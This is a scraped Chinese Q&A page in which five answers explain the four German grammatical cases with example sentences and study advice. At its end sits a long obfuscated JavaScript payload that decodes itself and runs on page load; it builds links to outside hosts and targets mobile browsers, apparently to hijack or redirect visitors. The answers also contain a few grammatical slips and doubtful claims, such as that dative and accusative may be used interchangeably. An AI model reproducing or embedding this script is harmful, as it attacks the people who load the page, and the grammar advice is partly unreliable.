能否解释下什么是德语的格?

2024-11-04 22:17:38
推荐回答(5个)
回答(1):

德语的格意思是:格属于名词、代词和形容词的语法范畴,是词的形式,表示一个词跟句子中别的词的关系。

德语的格有两种形式,即纯粹格(reiner Kasus)和介词格(Pr?positionalkasus)。同样的句子内容,有时可以用纯粹格和介词格来表示。

德语则保留了4个格,即第一格(Nominativ)、第二格(Genitiv)、第三格(第二格Dativ)和第四格(Akkusativ),简写就是NGDA。大部分动词和少数形容词以及介词一定要和名词、代词的格连用,意义才能完整。

少数动词硬性要求跟第二格宾语,Akkusativ最多,其次Dativ,然后少数跟Genitiv。比如有一个动词bedürfen表示需要,如果用Akkusativ的动词,可以说Ich brauche ein Buch,但是用bedürfen的话,就只好用第二格。

扩展资料:

德语的与格通常是和受格联用,实质意义是间接受格。在类比英语的学习中这个部分不存在单词的形变,而在德语中却要根据所在位置单词的词性及其单复数进行改变。具体特点如下:

1、对于单数阳性名词及其中性名词在与格时,定冠词用dem,而不定冠词用einem,否定形式用keinem.

2、有部分特殊词汇,例如der Assistent,der Junge,der Pilot,der Journalist,der Student等在与格时除了定冠词的变化,名词词尾还要加en,例如:der Assistent在与格的形式是dem Assistenten.

3、对于阴性名词单数,与格形式定冠词是der,不定冠词是einer,否定形式用keiner,复数形式相对容易,不管阳性阴性还是中性名词的复数形式定冠词都是den,而不定冠词的否定形式用keinen.

4、特别需要留意的是在某些动词或词组后面的受词也需要使用与格。例如antworten;geben;danken;gefallen;helfen;geht es等。

5、某些介词后面的名词也需要使用与格。譬如aus;von;mit等。

回答(2):

“格”在德语学习的过程中,地位十分重要。或许也可以这么说,“格”应当被视为德语学习的灵魂所在。如要精准地掌握德语,就必须先弄清楚“格”的不同用法。首先,我们得定义一下“格”,也就是什么是“格”。我的理解是,德语中的“格”代表了名词、代词和一些相关词类 ( 比如形容词等 ) 在句子中的功能,抑或是一种具体的搭配要求关系 ( 比如介词和动词等 )。因此,我们明确了一点,“格”通常代表了一种功能,因此从这个角度总结和剖析一下德语的“格”是非常有效的途径。一个基本常识是:现代德语中一共有4个格:第一、二、三、四格,对应的德语名称是Nominativ、Genitiv、Dativ、Akkusativ,简写分别就是NGDA。

首先我们看第一格Nominativ。 应该说第一格属于德语中最简单的一种格了
( 1 ) 第一格充当句子的主语,这是它最主要的功能。比如der/das/die,其实就是最原始的第一格。也就是说,你把一个名词的词性记住了,就记住了它的第一格。比如,der Tisch桌子,那么桌子的第一格定冠词就是der,以后其他的格变化都是从这个der演变而来,因此第一格从理解上可以说很简单,但是核心问题是记住大量名词词性。只有在不断总结规律中,不断花功夫才能真正学好。Der Tisch ist neu. 这个句子里Tisch作主语,因此就是第一格。再看第二个句子:Der Tisch steht an der Wand. 桌子靠在墙边。这句话也很简单,Tisch是主语,没有任何悬念。再看:An der Wand steht der Tisch. 换了个位置,很多同学就会误认为Tisch变成其他格了。其实不然,后面这句中Tisch仍然是主语,因为不管它怎么换语序主语仍然是Tisch,因此始终是第一格。
( 2 ) 第一个充当句子的表语。其实,简单的讲,表语就是主语的另一面,跟在系动词之后的就叫表语。比如,德语中的最著名系动词是sein,它相当于英语中的be,那么在它之后我们就要用第一格,例如:Das ist mein Tisch. 这里面就是第一格,那么很多同学问,这个第一格体现在哪里呢?其实,就体现在了这个物主代词mein身上。因为Tisch是der,所以用mein;又因为这里是第一格,所以还是用mein,不用变化。德语中类似与sein的系动词还有werden ( 成为 )和 bleiben ( 仍然 )。这三个动词我们可以把他们称为“一格动词”,也就是说他们后面跟第一格,比如:
Das ist meine Katze. 这是我的猫。
Er wird Lehrer. 他成为一名老师。
Sie bleibt eine Lehrerin. 她依旧是一位老师。

Akkusativ 第四格它在德语中的地位也是非同寻常
( 1 ) 充当很多动词的直接宾语。这些动词称为“及物动词”,这些动词成为“四格动词”。在德语中,这类动词实在是太多了,因此才凸显出了第四格非凡的地位。比如:Ich esse den Apfel. 我吃了这个苹果。在这句话里苹果就变成了第四格。很多同学不解了,怎么出现了den。den在这里是什么东西 ? 我们还是要从源头去看,苹果是der Apfel,这里动词essen后面跟Akkusativ,因此der变成了den,也就是说den是der的第四格形式。把上述句子变一下:Den Apfel esse ich. 这句话成立吗 ? 一定要看功能去判定“格”,这里虽然Apfel在句首,但是它仍然是动词essen的第四格宾语,因此den还是den。所以,看功能,不要看位置是判断格的重要手段。
( 2 ) 在某些双宾动词中充当宾语。根据动词的性质再细分出一类双宾动词。顾名思义,就是一个动词后面有两个宾语,其中一个是人,一个是物,人是简介,物是直接,这时候,人用Dativ第三格,而物用Akkusativ第四格,这是第二个运用,我们德语界都叫这个现象为“人三物四”。“人三物四”的前提条件是“双宾动词”。例如:最典型的一个就是geben,相当于英语中的give,give sb. sth. 给某人某物,这个结构对应到德语就是“人三物四”。比如: Er gibt mir ein Buch. 这里mir就是ich的第三格,而ein Buch就是第四格,还是一个老问题,你得知道Buch的词性是das,所以肯定是ein,且ein的第四格还是ein,因为中性不变嘛!这样的动词在德语中还真不少!我将在其他文章中给大家总结!
( 3 ) 某些介词硬性要求后面跟Akkusativ,这些介词通常有gegen, ohne, für, um等。
( 4 ) 作时间状语。比如:Jedes Jahr besuche ich Herrn Wang. 每年我去看望王先生。很多类似的结构。Jedes Wochenende 每周末;jeden Samstag 每周六等等。

Dativ 第三格
( 1 ) 部分动词后面硬性要求第三格。这个没什么道理的,就是要求Dativ,但是这部分动词在德语中数量不多,完全不能跟Akkusativ相比,但是往往是考试的重点和难点。比如:helfen跟第三格。看一个例句:Ich helfe der Frau. 我帮助了这位女士。这里Frau没问题肯定是die, 但是helfen后面要变成Dativ,所以die变成了der。如果写成Ich helfe die Frau.那就错了,变成了第三格,这个叫做“不三不四”。还有一个词是antworten,大家也经常误以为是跟Akkusativ,其实它也跟第三格。比如: Er antwortet mir nicht. 这里mir是ich的第三格,如果用mich就错了,但是这个是我们经常会犯的错误,所以fragen后面是Akkusativ,antworten后面是Dativ,简称为“问四答三”。
( 2 ) 在Akkusativ一篇里面我们提到了“双宾动词”的概念,那么这里又牵涉到了第三格,简介宾语人用Dativ。比如:Er gibt der Frau ein Buch. 这里的der Frau就是第三格,因为它作为简介宾语出现,同时geben这个词又是双宾动词。所以这里不再赘述,那么这里要引出第三格的变化形式,请大家看好:
m. n. f. pl.
N der das die die
D dem dem der den

Genitiv 第二格
( 1 ) 少数动词硬性要求跟第二格宾语。Akkusativ最多,其次Dativ,然后少数跟Genitiv。比如有一个动词bedürfen,是需要的意思,如果用Akkusativ的动词,我们一个brauchen就解决了,可以说,Ich brauche ein Buch. 但是用bedürfen的话,就只好用第二格了,Ich bedarf eines Buchs. 所以,格都是规定死了的。
( 2 ) 它最主要用来表示所属关系,也就是我们中文里面“A的B”结构,这是我们首先想到第二格来操作,但是往往有一个前提条件,就是A和B都是名词。比如,我姐姐的男朋友,那姐姐和男朋友都是名词,我们可以考虑用第二格操作。但是德语中要把“A的B”翻译成”BA”结构,其中A是第二格,所以变成der Freund meiner Schwester。这里meiner Schwester是第二格,Freund的格要看句子的具体情况而定了,比如:
Er ist der Freund meiner Schwester. ( Freund是第一格。)
Ich kenne den Freund meiner Schwester. ( Freund是第四格。)
Sie spricht mit dem Freund meiner Schwester. ( Freund是第三格。)
总之,不管Freund是第几格,meiner Schwester一直是第二格。看到这里,大家应该明确了,第二格往往是后置的。

回答(3):

不知当年谁带的头儿,中国人学德语的时候把德语的四个格称为一二三四格,莫名其妙的。其实德国人自己根本不是这么叫的。一二三四格对应的德语分别是:主格、所有格、与格、宾格。

要说格是怎么回事,你想一想英语的代词是不是分主格和宾格?

其实英语和德语系出同源。古代英语除了代词要分格,名词也要分。名词的格主要通过其前面的冠词来体现。后来说英语的人嫌麻烦,慢慢地遗弃了“格”这种现象。但是说德语的人社会发展比较慢,语言演化也比较慢,至今名词依然保留着格。(不过语言学家公认德语是向着丢弃格的方向发展)

现在说说格的用法:

第一格就是英语中的主格。在英语中,如果用代词的话,该使用主格的地方,你就在德语中使用第一格。

第二格就是英语中的所有格结构,只不过德语不要像英语那样用一个小撇标志出来,并且放在修饰的名词后面。也就是说,这句话换成英语,你要用所有格结构,那么,在德语中,你就要使用第二格。

第三格,这个麻烦一点。三格和四格在一起相当于英语中的宾格。你这样理解吧:与格,表示参与的意思,所以一般做间接宾语,或者表示其它一些参与意义,语法上类似于英语中的副词。

四格,宾格。不过只相当于英语中宾格的直接宾语部分。

如果你要参加考试,三格和四格的区分有理解的成份,但是说实话主要靠记忆。如果你只是为了交流,放心吧,当你分不清三格四格的时候,随便用一种就可以了。四格比较多,你就都用四格就可以了。事实上,柏林德语已经不区分三格和四格了。

至于你的问题中,为什么sein会有这么多形式,这是因为德语不光分格,还分性。当你使用一个冠词或者形容词形物主代词时候,除了要考虑格,还要考虑性和数。

所以,同为第一格,也有四种形式:阳性 sein 中性 sein 阴性 seine 复数seine

这么说吧,英语中一个the就可以搞定的东西,到了德语中,就有4*4=16种形式。

第一个4是四个格。第二个4是单数阴阳中三种形式,加上不分阴阳中的复数形式。

至于这16种形式都是什么样的,就需要你死记硬背了。

至于什么是弱变化,什么是强变化,建议你忘掉这对概念。这对概念是表示一个词不规则的程度的,比如有的动词,过去式和过去分词(德语中称第二分词,德语中还有第一分词,相当于英语中的现在分词)都不规则,而有的词只有过去分词不规则,过去式是规则的。你不要管这对概念,无视它就可以了,只要一个词是不规则的,你就记住其所有不规则形式就可以了。

现在歌德学院培训德语的时候,已经不引入强变化和弱变化的概念了,只是告诉学生某个词是不规则的。

很复杂吧?没办法,要不怎么说德语难呢?德语翻译挣的钱是英语翻译的几倍,不是白挣的。

所以,学德语是减肥的好方法,呵呵

回答(4):

你刚刚开始学德语吧?用字典查词的时候要把词尾去掉查词根的,字典不会把词的每个变化都囊括进去的呀:)
德语里变格主要是由动词和介词引导的。不同的动词或介词都有其不同的变格搭配,动词和介词配合在一起,可能还有另一种变格搭配。这两种词在语言里的运用率非常大,并且和其搭配的词种类也非常多,所以连带着那些词也必须发生变化,也是好理解的啦~~对吧~能够变格的有动词,名词,形容词,形容词大写而来的名词,不定冠词,定冠词,物主冠词,人称代词,物主代词,不定代词等。
不变的大概只有介词,副词了?(我只是大致回忆一下,可能不全= =)
比如Ich gehe in das Kino.是“我去看电影”,因为gehen这个动词要搭配的是方向补足语,所以介词in后面应该跟第四格,因为Kino是中性词,所以代词是das。如果换个地方,变成我要去图书馆(Bibliothek),那么代词就变成die.因为Bibliothek是阴性词。
另一种情况,如果不用介词in,而用zu的话,(意思就变成我到电影院的方向去)则后面必须加第三格,原因是zu后面只能加第三格。那么Kino的情况下,代词变成dem,Bibliothek的情况下,代词是der.
在这个例子中可以看出,变格不仅是看固定搭配,还要看名词的性是什么。名词的性看了,你还要看介词到底是什么。
二格和三格的道理也是类似的,具体的你找些句子来记吧。
别看这个规则表复杂到恐怖,其实它也是高度的概括,根据表死记是很痛苦的,重要的是要记住具体词的搭配形式,掌握了规则,同时因为这些规则应用起来很有逻辑性,所以反而应该会变简单,没用惯以前会觉得造句很难很慢,用惯了会好得多。而且由于逻辑推导性很强,你可以从一个语法推导出一个你还没学过的语法,这是我自己的感受。。总之入门的时候要多练,德语入门难,慢慢上道了就好了。
而且你说的对,语法其实很重要。学英语的时候很多人重听力,重阅读,总是说语法没用(我周围的人总这么说= =)但是语法是语言的基础,尤其德语里,因为变化多,所以认清格位和句构,对整个句子的理解都是至关重要的,你掌握得越牢越熟练,理解得也就越快,对听力和口译都是非常有帮助的。(我就成问题啊哈哈。。)德语正字法三年小改五年大改,有的东西有时候说废除了,有时候又恢复了。我建议,作为初学者,最好能脚踏实地地掌握你该掌握的,不要觉得这个用处不大不太细致就不去深究,这样对以后发展不是很好。少用不等于不用,真正到碰到那天,你才发现脑袋一片空白,那时候是很郁闷的。(这个算惨痛经历咩?)

回答(5):

大致地讲:

第一格(N):做主语、表语
第二格(G):做定语
第三格(D):做“静三动四”中的“静三”;或做间接宾语;或作不及物动词的宾语;或作只支持第三格的介宾结构中的介词宾语
第四格(A):做直接宾语

如:Ich mag das Buch von dem Kind.这里,ich是一格,das Buch是第四格, dem Kind是von这个介词支配的第三格。
同样的意思可表达为Ich mag das Buch des Kinds。这里,des Kinds是das Kind的第二格,表示为das Buch的定语,即,“这个小孩子的”书。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();